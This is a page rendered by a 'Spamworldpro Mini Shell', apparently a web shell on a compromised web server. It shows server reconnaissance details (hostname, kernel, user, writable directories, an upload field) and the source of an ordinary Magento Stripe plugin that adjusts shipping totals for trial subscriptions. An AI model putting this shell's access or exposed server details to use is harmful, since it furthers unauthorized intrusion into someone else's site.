Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/cartforge.co/app/code/StripeIntegration/Payments/Plugin/Quote/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/cartforge.co/app/code/StripeIntegration/Payments/Plugin/Quote/AddressShippingTotal.php
<?php

namespace StripeIntegration\Payments\Plugin\Quote;

use Magento\Quote\Model\Quote\Address\Total;

class AddressShippingTotal
{
    private $config;
    private $quoteHelper;
    private $checkoutFlow;

    public function __construct(
        \StripeIntegration\Payments\Helper\Quote $quoteHelper,
        \StripeIntegration\Payments\Model\Config $config,
        \StripeIntegration\Payments\Model\Checkout\Flow $checkoutFlow
    )
    {
        $this->quoteHelper = $quoteHelper;
        $this->config = $config;
        $this->checkoutFlow = $checkoutFlow;
    }

    public function aroundCollect(
        \Magento\Quote\Model\Quote\Address\Total\Shipping $subject,
        callable $proceed,
        \Magento\Quote\Model\Quote $quote,
        \Magento\Quote\Api\Data\ShippingAssignmentInterface $shippingAssignment,
        \Magento\Quote\Model\Quote\Address\Total $total
    ) {
        if ($this->config->isSubscriptionsEnabled() && $this->checkoutFlow->shouldNotBillTrialSubscriptionItems())
        {
            $items = $shippingAssignment->getItems();
            $nonBillableSubscriptionItems = [];
            $billableItems = [];

            $nonBillableSubscriptionItems = $this->quoteHelper->getNonBillableSubscriptionItems($shippingAssignment->getItems());

            if (!empty($nonBillableSubscriptionItems))
            {
                $billableItems = array_filter($items, function($item) use ($nonBillableSubscriptionItems) {
                    return !in_array($item, $nonBillableSubscriptionItems);
                });

                if (!empty($billableItems))
                {
                    $shippingAssignment->setItems($billableItems);
                    $proceed($quote, $shippingAssignment, $total);
                    $shippingAssignment->setItems($items);
                    $this->checkoutFlow->isQuoteCorrupted = true;
                }
                else
                {
                    $total->setBaseShippingAmount(0);
                    $total->setShippingAmount(0);
                    $this->checkoutFlow->isQuoteCorrupted = true;
                }
            }
            else
            {
                $proceed($quote, $shippingAssignment, $total);
            }

            return $subject;
        }
        else
        {
            $proceed($quote, $shippingAssignment, $total);
            return $subject;
        }
    }
}

Spamworldpro Mini